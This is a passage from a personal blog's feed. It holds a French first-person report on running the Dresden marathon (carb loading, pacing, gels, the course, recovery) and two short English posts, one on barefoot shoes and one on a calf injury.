&lt;p&gt;L'emplacement était donc vraiment parfait. L'hôtel en soi était top aussi, il y avait une piscine (inclus dans le prix), sauna (5 euros), un resto. Cependant on a profité de rien par manque de temps. Et pour le resto, on avait ramené notre propre nourriture pour ne prendre aucun risque.&lt;/p&gt;
&lt;p&gt;Seul bémol : vu qu'Octobre est considéré comme "la saison froide", d'après le staff, l'hôtel avait désactivé toutes les clim. Mais ce weekend de course était relativement chaud, 18 degrés dehors. À l'intérieur de la chambre, il faisait 25 degrés, mesurés avec ma montre. Et impossible d'allumer la clim. On a du laisser la fenêtre ouverte plusieurs heures pour parvenir à faire chuter la température autour de 23. J'avais peur que ça perturbe ma nuit, mais ce ne fut pas le cas.&lt;/p&gt;
&lt;h1 id="heure-de-depart-et-changement-horaire"&gt;Heure de départ et changement horaire&lt;/h1&gt;
&lt;p&gt;Alors là, jackpot pour moi. Déjà que j'aime pas me lever tôt, mais là, le départ était prévu pour 10h30, je ne pouvais pas rêver mieux ! Bonheur. Limite un peu tard même 😂. Mais surtout, la nuit du samedi au dimanche était la nuit du changement d'heure, d'été à hiver : à 3h du mat, il allait être 2h. Donc ce départ à 10h30 était en fait un départ à 11h30 dans l'ancienne heure. Incroyable ! Une super nuit de sommeil se profilait donc.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/dresden-marathon/gear.jpg" alt="Vêtements de course" /&gt;
&lt;figcaption&gt;Affaires prêtes - avant de se coucher&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/dresden-marathon/sheet.jpg" alt="TODO list de course" /&gt;
&lt;figcaption&gt;Ma race sheet&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;C'est bien connu, les veilles de course, on dort en général très mal, à cause du stress. Je savais donc que les nuits d'avant seraient déterminantes et qu'il me fallait dormir ! Et bien j'ai réussi ! Toute la semaine précédant la course, j'ai dormi à chaque fois entre 7h et 8h par nuit. Mais surtout, alors que je m'attendais à peu dormir du samedi au dimanche, et bien j'ai dormi 8h ! Couché à minuit (ancienne heure d'été), réveil prévu pour 8h30 (nouvelle heure d'hiver), il m'a quand même fallu une bonne heure pour trouver le sommeil... mais putain j'ai dormi et d'une traite ! Je me suis même réveillé avant mon réveil 😁.&lt;/p&gt;
&lt;p&gt;Bref, au réveil j'étais au top ! 💪&lt;/p&gt;
&lt;h1 id="recharge-glucidique-veille-de-course-et-petit-dejeuner"&gt;Recharge glucidique, veille de course et petit déjeuner&lt;/h1&gt;
&lt;p&gt;La fameuse recharge glucidique. Sur le papier, il faudrait manger des tonnes et des tonnes de glucides. On lit sur internet "10 grammes de glucides par kilogramme de poids de corps par jour", ça me ferait autour de 770g de glucide par jour. Impossible. Dans la réalité, on peut augmenter la dose en réduisant les protéines et les graisses, tout en mangeant un peu plus que d'habitude quand même. C'est ce que j'ai fait.&lt;/p&gt;
&lt;p&gt;Puisqu'il fallait voyager pour ce marathon dès samedi matin, je ne voulais pas aller au resto et manger n'importe quoi ensuite. Control freak ! Du coup le plan de la semaine était le suivant :&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Jeudi et vendredi&lt;/strong&gt; : à la maison. On ne change pas les plats habituels, seules les doses augmentent. On réduit un peu la part de légumes quand même.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Samedi et dimanche&lt;/strong&gt; : à Dresden dès le samedi midi, plus aucun légume, à fond les glucides. Le vendredi soir j'ai donc pré-cuit à la maison, pour 2 personnes :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;200g+ de pâtes blanches (et non complètes)&lt;/li&gt;
&lt;li&gt;200g+ de riz&lt;/li&gt;
&lt;li&gt;650g de pommes de terre&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;En plus de ça, j'ai emmené du pesto, du &lt;a href="https://fr.wikipedia.org/wiki/Quark_(fromage)"&gt;Speisequark&lt;/a&gt;, du lait de soja, des flocons d'avoine, du müsli au chocolat, du Maurten Drink Mix, des bananes et une clémentine.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/dresden-marathon/zug.jpg" alt="Photo dans un train" /&gt;
&lt;figcaption&gt;Train vers Dresden&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Ainsi, samedi matin c'était le trajet en train vers Dresden. On est arrivé vers 13h puis on a déjeuné dans un parc : patates + riz + pesto + Speisequark + clémentine. Ensuite, direction l'Expo pour récupérer le dossard, et enfin hôtel check-in. Là, on a quand même chillé un peu avant d'aller faire un peu de shopping dans le centre de Dresden (à vélo, pour ne pas se fatiguer 😉). Et c'est là qu'une crêpe et une tablette de chocolat sauvages sont apparues... 😋😂 Ah oui et j'allais oublier : petit shake out run de 20 minutes juste après avoir checked in à l'hôtel, vraiment lentement, à peine plus de 3 kilomètres. Histoire de... J'aurais préféré faire ça le matin mais c'était pas vraiment possible.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/dresden-marathon/expo.jpg" alt="Expo" style="float:left" /&gt;&lt;/p&gt;
&lt;p&gt;Et samedi soir, c'était pâtes pesto, avec un reste de riz et de patates du midi. Puis maxi chill dans la chambre d'hôtel, on accroche le dossard et prépare tout pour le lendemain matin. Beaucoup de gens accrochent leur dossard le matin, moi je préfère la veille, moins de risques d'oublier quelque chose avec la tête dans le cul matinale. 😁 Et juste avant minuit au lit !&lt;/p&gt;
&lt;p&gt;Et le dimanche matin, entre 8h30 et 9h, soit plus d'une heure trente avant le départ : lait de soja avec müsli et flocons d'avoine (en quantité !), et on finit les pâtes et le riz avec du pesto. En plus de ça, une banane et du Maurten Drink Mix. L'idée c'est de manger des choses facilement digérables. En ce qui me concerne, 1h30 avant course ça passe, mais fallait pas manger plus tard, au risque d'avoir des problèmes de ventre.&lt;/p&gt;
&lt;p&gt;Avec tout ça, j'étais calé, aucun doute.&lt;/p&gt;
&lt;h1 id="le-sujet-tabou"&gt;&lt;a href="https://youtu.be/O_j5XGhNH8o?t=380"&gt;Le sujet tabou 💩&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Parlons-en. Le sujet dont personne ne parle mais dont tout le monde a peur. 🙈&lt;/p&gt;
&lt;p&gt;C'est bien connu, courir, surtout de longues distances, ça donne envie de... d'aller aux toilettes. Souvent de manière brutale et inévitable. C'est ma grande crainte. Mon but avant chaque course est d'être le plus ... vide possible, dirons-nous. Mais je suis quand même &lt;a href="https://www.youtube.com/watch?v=YrkCDdLB-_w"&gt;préparé à toute éventualité&lt;/a&gt;. Je repère par exemple la veille sur la carte les endroits où seront disposés les WC mobiles, au cas où. Et je note au marqueur les kilomètres de ces endroits dans ma main, tout comme je note les kilomètres des ravitaillements d'eau. Oui, c'est une vraie angoisse 😆.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/dresden-marathon/hands.jpg" alt="Notes dans mes mains" /&gt;
&lt;figcaption&gt;Tatouage marathon : à gauche les ravitaillements, à droite les WC mobiles&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Bref, je vais pas m'étaler sur le sujet, mais pour ce premier marathon, le stress a du jouer un peu. Passage aux toilettes une fois le samedi soir et une fois le dimanche matin après le petit-déj, de manière naturelle j'ai envie de dire, sans forcer le destin. Et ben purée après ça, mon niveau de confiance était inébranlable ! 😇 Encore un facteur qui a contribué à rendre cette course parfaite...&lt;/p&gt;
&lt;h1 id="conditions-meteo"&gt;Conditions météo&lt;/h1&gt;
&lt;p&gt;Je le disais en introduction, en Octobre la météo est généralement cool dans l'Allemagne de l'Est. Cette année, pas manqué ! Même un peu trop chaud. Semaine ensoleillée du lundi au dimanche. La course a commencé sous un grand ciel bleu avec des températures légèrement au dessus de 10 degrés, pour finir avec quelques nuages à 18 degrés ! 🥵🌞 Encore un facteur PARFAIT ! Même si j'aurais préféré 5 degrés de moins je pense, car qu'est ce que j'ai pu boire pendant ce marathon !&lt;/p&gt;
&lt;h1 id="nutrition-et-hydratation"&gt;Nutrition et hydratation&lt;/h1&gt;
&lt;p&gt;En parlant d'avoir chaud, parlons nutrition et hydratation.&lt;/p&gt;
&lt;p&gt;Mon plan était simple :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;prendre de l'eau à &lt;strong&gt;chaque ravitaillement&lt;/strong&gt;. Hors de question de me trimballer un camelbak.&lt;/li&gt;
&lt;li&gt;un gel Maurten (non caféiné 💩) tous les 4kms, soit environ toutes les 20 mins, ce qui équivaudrait à 75g de glucides par heures, en sautant celui du km 40 car trop proche de la fin. Donc &lt;strong&gt;9 gels en tout&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et bien c'est passé CRÈME !!! Aucun problème de ventre, aucun mur des 30 kilomètres, rien ! Niquel ! J'avais de l'énergie jusqu'au bout ! Vraiment hyper content à ce niveau-là.&lt;/p&gt;
&lt;p&gt;En ce qui concerne l'hydratation, j'ai bien fait attention à m'hydrater dès le réveil. Petit erreur : j'ai oublié d'emmener une bouteille d'eau sur la ligne de départ, ce qui fait que je me suis retrouvé dans mon sas de départ à avoir soif. J'ai du demander de l'eau à quelqu'un. Mais une fois le départ donné, tout s'est déroulé parfaitement. J'ai systématiquement pris un gobelet d'eau claire à chaque ravito, parfois deux même. Une fois ou deux j'ai pris de l'isotonique et du coca, sans faire exprès, mais c'était pas désagréable ma foi. Bref, hydratation et nutrition parfaites. Pendant l'entraînement les semaines précédentes, les sorties longues "en condition", en emmenant des gels, ont bien aidé il faut dire.&lt;/p&gt;
&lt;h1 id="le-parcours"&gt;Le parcours&lt;/h1&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/dresden-marathon/strecke.jpg" alt="La carte de la course" /&gt;
&lt;figcaption&gt;Plan de la course&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Le parcours était prometteur. Déjà, la vue, avec de nombreuses sections sur les bords de l'Elbe, d'où l'on pouvait apercevoir des vignobles sur les collines et des "châteaux"/belles demeures.&lt;/p&gt;
&lt;p&gt;En Septembre, &lt;a href="https://www.dresden-marathon.com/neue-streckenfuehrung-wegen-brueckeneinsturz/"&gt;un pont s'est effondré à Dresden&lt;/a&gt;, obligeant les organisateurs à changer le parcours légèrement. Notamment la fin du parcours, où ils nous ont fait passer par le centre historique de Dresden, certes magnifique, mais pavé, au lieu de rester sur la piste cyclable qui longe l'Elbe. Mais bon, pas bien grave.&lt;/p&gt;
&lt;p&gt;Puisque le marathon de Dresden reste un "petit" marathon en terme de participation, loin des 50,000 participants venus du monde entier à Berlin, certaines routes larges n'étaient pas entièrement fermées à la circulation. Seul un côté l'était, celui où nous courrions. Parfois, ils faisaient même traverser les voitures aux carrefours entre deux groupes de coureurs. Mais pareil, à part quelques odeurs de pot d'échappement pas très agréables, ça ne m'aura pas dérangé du tout.&lt;/p&gt;
&lt;p&gt;Au km 6, après plusieurs côtes dans "la nouvelle ville" de Dresden, le parcours nous emmenait dans &lt;a href="https://youtu.be/O-7wWFQTleA?t=218"&gt;un long tunnel&lt;/a&gt; (à vue de nez, facilement 500m) en descente légère, dans lequel résonnait un tambourinement énorme. Puissant, venu de la sortie du tunnel, si loin mais si proche en même temps. Si fort qu'il m'était impossible de penser. Mais enivrant, transportant. Alors que je courrais, une scène de Matrix 2 me revient en tête. C'est ça. C'est exactement ça. Comme dans le film ! Je me laisse aller, le sourire aux lèvres. Le tunnel est éclairé de toutes les couleurs, juste pour nous, coureurs. C'est dingue.&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/-QfsSfhaDVY" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;Le reste du parcours était relativement plat. Strava m'indique que nous avons eu 171m de dénivelé positif. Nous sommes restés avec les semi-marathoniens jusqu'au km 17.5. Jusque-là c'était relativement dense, et tout d'un coup presque plus personne. Je trouve un français juste devant, encouragé par sa famille sur le côté - c'est comme ça que je j'ai su qu'il était français. Après s'être salués, nous courons ensemble 1 ou 2 kilomètres, dans le silence, sans parler. Puis petit à petit il me distance. Il devait courir 2 ou 3 secondes de moins que moi au kilomètre. Je finirai la course 32 secondes après lui.&lt;/p&gt;
&lt;p&gt;Après avoir parcouru 21 kilomètres, on fait une deuxième boucle pas tout à fait similaire à la première, jusqu'à l'arrivée. Le reste du parcours est sympa, hormis quelques kilomètres courus dans des petites rues où il s'agissait de faire demi-tour au bout et revenir sur nos pas. Les derniers kilomètres sont chouettes et se font à longer le bord de l'Elbe puis traversent la vieille ville, avant de passer la ligne d'arrivée exactement devant notre hôtel.&lt;/p&gt;
&lt;h1 id="douleurs-pendant-la-course"&gt;Douleurs pendant la course&lt;/h1&gt;
&lt;p&gt;Alors là ça va être rapide : aucune. J'avais l'habitude depuis plusieurs semaines de courir avec cette douleur dans le mollet gauche, plus ou moins forte. Mais là, je ne l'ai pas sentie, à part peut-être une fois ou deux brièvement. Mais sinon, rien, tellement concentré dans la course, dans le chrono que je visais, pris par l'ambiance, occupé à planifier le prochain gel ou prochain ravitaillement en eau, imaginant plein de scénarios possibles ("et si je ralentissais là tout de suite ?" 😅).&lt;/p&gt;
&lt;h1 id="gestion-de-leffort-et-ce-qui-se-passe-dans-la-tete-au-fil-des-kilometres"&gt;Gestion de l'effort et ce qui se passe dans la tête au fil des kilomètres&lt;/h1&gt;
&lt;p&gt;D'ailleurs en parlant de scénarios... C'est dingue tout ce à quoi on a le temps de penser quand on se retrouve tout seul avec soi-même pendant près de 3 heures et demi !&lt;/p&gt;
&lt;p&gt;Avant la course, j'avais vu des vidéos sur comment "break down" un marathon : en français, comment découper un marathon mentalement en plusieurs phases. Kms 0-10 : ne pas partir trop vite, rentrant dans le &lt;em&gt;flow&lt;/em&gt;. 10-30 : maintenir un pace, débrancher le cerveau. 30-35 : la course commence maintenant. 35-40 : "a walk in the park", presque fini, on peut lâcher les chevaux. 40-42 : sprint final. Y'a un peu de vrai là dedans.&lt;/p&gt;
&lt;p&gt;En ce qui me concerne, beaucoup de monde au début, avec le stress de la course, et les quelques montées, les 10 premiers kilomètres sont courus un poil plus vite que prévu, mais rien de dramatique. Au km 10 je me souviens avoir donné RDV à mon cerveau 20 kilomètres plus tard (donc au km 30) mais je n'ai jamais vraiment réussi à "déconnecter". Je n'ai pour ainsi dire jamais vraiment trouvé cet état de &lt;em&gt;flow&lt;/em&gt;, assez facile à atteindre à l'entraînement, seul. Les kilomètres s'enchaînent, vers le km 11 je lance une grosse accélération dans le but de rattraper les pacers de 3h30 qui se trouvent depuis le début environ 200m devant moi. D'ailleurs ça se voit sur Strava, mon kilomètre 12 a été couru 14 secondes plus vite que mon allure cible. Je reste avec ce groupe de mémoire 3 ou 4 kilomètres avant de me décider à les lâcher et à passer devant, car je sentais que je pouvais et que le groupe me ralentissait un peu par rapport à mon allure cible.&lt;/p&gt;
&lt;p&gt;Ensuite, km 18 je me colle au français que je viens de rencontrer. Pas grand chose me passe par la tête mais je réalise que, quand même, ça devient compliqué. Psychologiquement, en ce qui me concerne, tant que la moitié n'est pas passée, j'en chie. À vélo c'est pareil. Je peux faire un 200 kilomètres assez facilement, tant que les 100 premiers sont déjà faits 😆. Bref. Ça y est, on traverse l'Elbe à nouveau, sur un pont, soleil en plein visage, le kiff, et je vois le panneau des 21 kilomètres. Bingo! Y'a "plus qu'à rentrer à la maison", comme j'aime me le dire à chaque fois. Mentalement, ça me débloque.&lt;/p&gt;
&lt;p&gt;Les kilomètres 21 à 28 sont assez horribles. Des petites rues, deux fois nous faisons demi tour au bout d'une rue (heureusement deux rues différentes), donc à chaque fois on revient sur nos pas, chaque sens de marche d'un côté de la rue. Rébarbatif. Je rentre dans le dur psychologiquement. Physiquement, R.A.S, tout roule niquel.&lt;/p&gt;
&lt;p&gt;Et c'est là que les pensées cheloues apparaissent haha. Je commence à imaginer les 5 personnages du dessin-animé "Vice Versa" dans ma tête. J'imagine "Colère" en mission pour débrancher la partie de mon cerveau qui me fait douter. J'imagine "Peur" qui fait un rapport de l'état de mon corps et notamment des jambes. J'imagine "Joie" qui prend le contrôle du tableau de bord. Bref, ça me donne le sourire et me permet de ne pas voir passer quelques kilomètres. &lt;a href="https://www.runnersworld.com/uk/training/motivation/a776539/how-smiling-improves-your-running/"&gt;Surtout qu'il parait que les coureurs souriant performent mieux...&lt;/a&gt;&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/dresden-marathon/vice-versa.jpg" alt="Une image du dessin-animé Vice-Versa" /&gt;
&lt;figcaption&gt;Personnages de Vice-Versa&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Les kilomètres 29 à 38 sont une redite du premier tour, ennuyant mais au moins je savais à quoi m'attendre. Et c'est là que je me rends compte que chaque seconde perdue par rapport à mon allure cible devient presque impossible à rattraper. Ça y est, je suis officiellement fatigué.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/dresden-marathon/splits.png" alt="Splits" style="float:right" /&gt;&lt;/p&gt;
&lt;p&gt;Negative split ? Oublie ! Il faut que je maintienne mon rythme, je n'arrive plus à faire d'accélérations comme au tour précédent. Chaque seconde perdue est définitivement perdue. Pour vous donner une idée, sur la montre, j'avais fixé un temps cible d'arrivée. Au km 20, j'avais environ 50 secondes d'avance sur ce temps, une bonne partie gagnée en accélérant pour rattraper le groupe des pacers. Et bien à partir du km 30, les 50 secondes n'ont fait que diminuer petit à petit, si bien que j'ai franchi la ligne d'arrivée avec à peine plus de 10 secondes d'avance sur mon temps prévu à la montre. Bref, les kilomètres après le km 29 sont vraiment difficiles. Je repense à une technique de mon &lt;a href="https://www.youtube.com/@michelarmandy"&gt;Youtubeur préféré&lt;/a&gt;, qui consiste à se dire "allez je maintiens cette allure encore 1 km, et après je verrai". Et en fait, au bout d'un km, ne pas "voir" mais simplement se répéter cette phrase à nouveau. Ça marche pas mal quand on aperçois le panneau kilométrique au loin, ça marche moins quand on ne voit pas le panneau 😆. Une autre phrase (de moi, celle-ci) que je me suis pas mal répétée était "pense à la satisfaction de ne pas avoir ralenti, d'avoir atteint ton objectif de temps". Ça marchait plutôt bien.&lt;/p&gt;
&lt;p&gt;Tout au long du marathon, je n'ai pas regardé une seule fois mon rythme cardiaque sur la montre. Il est plutôt normal qu'il soit supérieur à ce qu'il est à l'entraînement, de par le fait que ça soit une course. Mais ce jour-là, j'étais au moins 10 ou 15 pulsations plus haut 🤣. Bien content de ne pas avoir regardé, ça m'aurait inquiété. Et pourtant, au niveau cardiaque, je me suis senti à l'aise toute la course !&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/dresden-marathon/heart.png" alt="Rythme cardiaque" /&gt;
&lt;figcaption&gt;Une belle dérive cardiaque tiens !&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Kilomètres 35-40. "A walk in the park". Et bah c'est vrai ! La motivation revient, une sorte de deuxième souffle aussi. Au lieu de compter de 0 à 42, je compte maintenant en "kilomètres restants". Je compte comme ça depuis le km 30, à vrai dire. Donc là, quand je passe 35, je me dit "plus que 7 ! C'est quoi, sept ? C'est rien, sept !". Un petit calcul (difficile, à ce stade de la course) me fait réaliser que 7 kilomètres c'est même pas 35 minutes. Allez !&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/dresden-marathon/km40.jpg" alt="Photo proche de la fin" /&gt;
&lt;figcaption&gt;Bientôt la fin !&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Km 40 ! On rentre dans la vieille ville. Je commence à cogiter et réaliser que je suis en train de finir un marathon bordel !!! L'émotion monte d'un coup et une envie de pleurer arrive, qui me coupe le souffle, littéralement. Je me dis "ressaisis-toi, tu pleureras dans 2 kilomètres" et 30 secondes plus tard mon souffle est de nouveau normal (spoiler alert : aucune larme de joie après la ligne d'arrivée haha c'était maintenant ou jamais, faut croire). La vieille ville et ses rues pavées rendent la course vraiment difficile, il faut faire attention à chaque pas au risque de se fouler une cheville. Beaucoup de coureurs optent pour les trottoirs au lieu de la rue, je fais de même.&lt;/p&gt;
&lt;p&gt;Et enfin... Dernier virage. Au loin, l'arrivée. Je donne tout, j'accélère, je fais le beau pour les photos, et c'est finiiiiiiiii !!! Fini bordel !!! J'ai fait un marathon !!!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/dresden-marathon/ziel.jpg" alt="Photo à l'arrivée" /&gt;
&lt;figcaption&gt;3h28'19" temps brut - 3h27'12" temps réel&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="etat-des-lieux-post-course-et-conclusion"&gt;État des lieux post-course et conclusion&lt;/h1&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/dresden-marathon/ko.jpg" alt="Allongé dans l'herbe" /&gt;
&lt;figcaption&gt;Quelques minutes après l'arrivée&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Aussi incroyable que cela puisse paraître, je n'ai aucune douleur ni aucune nouvelle blessure. Ma mini blessure au mollet que je n'ai absolument pas sentie pendant la course mettra quelque heures avant de se réveiller un peu, mais rien de supérieur en terme de douleur à ce que j'ai pu ressentir dans les semaines précédentes.&lt;/p&gt;
&lt;p&gt;Entorse ? Rien, absolument rien, la cheville est bel et bien réparée. Périostite ? Aucune ! Je porte maintenant systématiquement des manchons de compression. J'ose croire que ça aide à prévenir les périostites.&lt;/p&gt;
&lt;p&gt;Le soir même, les jambes sont un peu douloureuses, mais que d'un point de vue musculaire. Disons que je sens que les muscles ont bien travaillé. Ça ne m'aura pas empêché de m'endormir plus de 10 minutes haha.&lt;/p&gt;
&lt;p&gt;Dans les jours qui suivent, presque pas de courbature, à peine le lundi, et déjà plus rien dès le mardi. Les nouvelles mousses des chaussures à plaque carbone doivent beaucoup aider.&lt;/p&gt;
&lt;video controls&gt;
    &lt;source src="./videos/dresden-marathon/ziel.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;p&gt;Bref ! Voilà qui conclue ce long article, sur ce premier marathon aux conditions parfaites, et au résultat à la hauteur de mes espérances. Grande grande satisfaction, ça me donnerait presque envie de recommencer 😆. Mais d'abord, je vais commencer par prendre le mois de Novembre off running, on avisera à partir de Décembre 😃.&lt;/p&gt;
&lt;p&gt;🫡🏃&lt;/p&gt;</content><category term="Running"></category><category term="running"></category><category term="marathon"></category></entry><entry><title>Barefoot Shoes</title><link href="https://romainpellerin.eu/barefoot-shoes.html" rel="alternate"></link><published>2024-10-18T00:00:00+02:00</published><updated>2024-10-18T00:00:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-10-18:/barefoot-shoes.html</id><summary type="html">&lt;p&gt;A list of barefoot shoes to consider&lt;/p&gt;</summary><content type="html">&lt;p&gt;Tiny article here to say that I'm buying barefoot shoes (a.k.a minimalist shoes) for everyday use! Why? To strength my feet while walking, apparently on the long term these shoes help prevent running injuries. I'll start rotating my shoes, between my classic sneakers and these new barefoot shoes. Running-wise, I'll stick to big cushioned shoes for now.&lt;/p&gt;
&lt;p&gt;After hours spent researching the web, here a list of shoes I considered/am considering for the future, in no particular order:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.feelgrounds.com/collections/shoes"&gt;Feelgrounds&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.vivobarefoot.com/de/geo-court-iii-mens"&gt;Vivobarefoot Geo Court III&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.xeroshoes.eu/shop/product-category/best-sellers/"&gt;Xero Shoes&lt;/a&gt;: &lt;a href="https://www.reddit.com/r/BarefootRunning/comments/xtnzps/my_xero_prios_after_2_years_of_moderate_use/"&gt;a good review&lt;/a&gt; on the Prios. Can run with them too. I would probably buy them next, after the Whitin ones I got.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://whitin-shoes.com/"&gt;Whitin shoes&lt;/a&gt;: an &lt;a href="https://www.amazon.de/Whitin-Unisex-Barefoot-Minimalist-Zero-Drop/dp/B0B4R21ZQJ"&gt;Amazon-only&lt;/a&gt; brand. &lt;a href="https://anyasreviews.com/whitin-barefoot-sneakers-review/"&gt;A review here&lt;/a&gt;. Those are the ones I got.&lt;/li&gt;
&lt;li&gt;Altra: not considered barefoot or minimalist because they have cushion, despite a wide toebox and zero drop.&lt;/li&gt;
&lt;li&gt;Vibram 5 Fingers (a.k.a VFF)&lt;/li&gt;
&lt;li&gt;Lems&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mukishoes.com/product-category/grownups/"&gt;Mukishoes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="About me"></category><category term="shoes"></category><category term="running"></category><category term="health"></category></entry><entry><title>Calf Muscle Tear</title><link href="https://romainpellerin.eu/calf-muscle-tear.html" rel="alternate"></link><published>2024-10-17T19:37:00+02:00</published><updated>2024-12-05T00:00:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-10-17:/calf-muscle-tear.html</id><summary type="html">&lt;p&gt;Something new, yay!&lt;/p&gt;</summary><content type="html">&lt;p&gt;So I'm just done with a &lt;a href="https://romainpellerin.eu/10-kms-et-entorse-de-la-cheville.html"&gt;sprained ankle&lt;/a&gt;... but just as it was healing, I'm struck with what I believe is muscle tear. Or muscle strain? I don't know. It could even be something totally different, for all I know. Achilles tendinitis? Unlikely, but the pain is sort of between the calf muscles and the tendon though. But it's not that bad, I can walk 100% normally, with little pain. And I can run 100% normally too, my stride remains unaffected, but with more acute pain.&lt;/p&gt;
&lt;p&gt;I just wanted to write this here for the record. So it'll be a short article. It started with the big training session of &lt;a href="https://romainpellerin.eu/10-kms-et-entorse-de-la-cheville.html#update-vendredi-4-octobre"&gt;October the 4th&lt;/a&gt; and it further developed with every session that followed. In the left lower leg, I've now got multiple spots where it hurts (one on the inner side, in the soleus muscle I think; another in the lower part of the gastrocnemius muscle, close to the tendon). It hurts quite a lot when going down stairs, jumping on one leg only - single leg hope - and at the beginning of any run (the first 5kms), averaging 5 pain-wise on a scale from 0 to 10 in the beginning. Then, as I pick up the pace and go faster than 5 mins/km, the pain fades a bit down to 2 or 3/10. And it varies across the different spots. In the right lower leg, it seems like my soleus is hurting too in the inner side, only when running, and less than the left leg.&lt;/p&gt;
&lt;p&gt;I'm not worried about the right leg, I feel nothing while walking/sitting, and barely feels it while running. It's the left leg that worries me a little, but it all seems to be muscle-related, nothing to do with bones or tendons (I think!). Possible reasons? The 11 days off running I took to allow my ankle to recover... then I basically went all-in again to catch up on my training plan. Also, that session on the 4th of October was truly hard and intense, probably the hardest I ever did. And with still fairly new shoes (the Asics METASPEED SKY PARIS). So you know... nothing new really.&lt;/p&gt;
&lt;p&gt;I have not lost hope regarding the marathon in 10 days. Two Sundays ago I ran 31 kms with that pain, it remained constant throughout the run and was bearable. And again last Sunday, 25 kms, constant and bearable, not increasing. It should work the same over 42 kms. Then I'll take all of November completely off, hoping to start fresh again in December, injury free for good this time.&lt;/p&gt;
&lt;h1 id="things-to-do-to-help-recover"&gt;Things to do to help recover&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://sebmena.fr/2019/09/13/reeducation-du-soleaire/"&gt;Massage the lower leg with a massage roller as often as possible, foot/toes towards one's self, so as to extend the calf muscles, and after that, classic calf stretching. Do this ideally on a rest day.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sebmena.fr/2019/09/26/tendons-dachille-et-soleaires-la-suite/"&gt;Stanish Protocol, focused on the descent (when lowering the heel, nice and slowly). Raise yourself on two feet, then lower yourself only on the leg that is injured, as low as possible.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lacliniqueducoureur.com/coureurs/blogue/archives/peace-love-nouvel-acronyme-de-traitement-des-lesions-traumatiques/"&gt;PEACE &amp;amp; LOVE : nouvel acronyme de traitement des lésions traumatiques&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="update-2024-10-22"&gt;UPDATE: 2024-10-22&lt;/h1&gt;
&lt;p&gt;Ran 13 kms today, from slow to marathon pace. There is definitely some improvement. My right leg is 100% fine again, no more pain. The left one, it's a different story. The painful spot I had in the back of the calf, just at the beginning of the Achilles tendon is gone, but the pain in the inner side of the calf remains (I still believe it comes from the soleus muscle). Oddly enough, the pain originated at the spot lower in the leg today. The pain started at 2/10, increased to 4/10, around km 6 or 7 I had a burst of pain, a flare, as if my soleus was being stabbed. Very brief. After that, the pain dropped to 1 or 2/10 until the end of the run, barely noticeable, and definitely manageable.&lt;/p&gt;
&lt;p&gt;Things I did recently that may have helped:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I did not run at all in the previous 3 days&lt;/li&gt;
&lt;li&gt;I bought a massage gun last weekend&lt;/li&gt;
&lt;li&gt;Today I wore compression socks that are tighter than the ones I usually wear&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I'm confident for Sunday 🤞.&lt;/p&gt;
&lt;h1 id="update-2024-12-04"&gt;UPDATE: 2024-12-04&lt;/h1&gt;
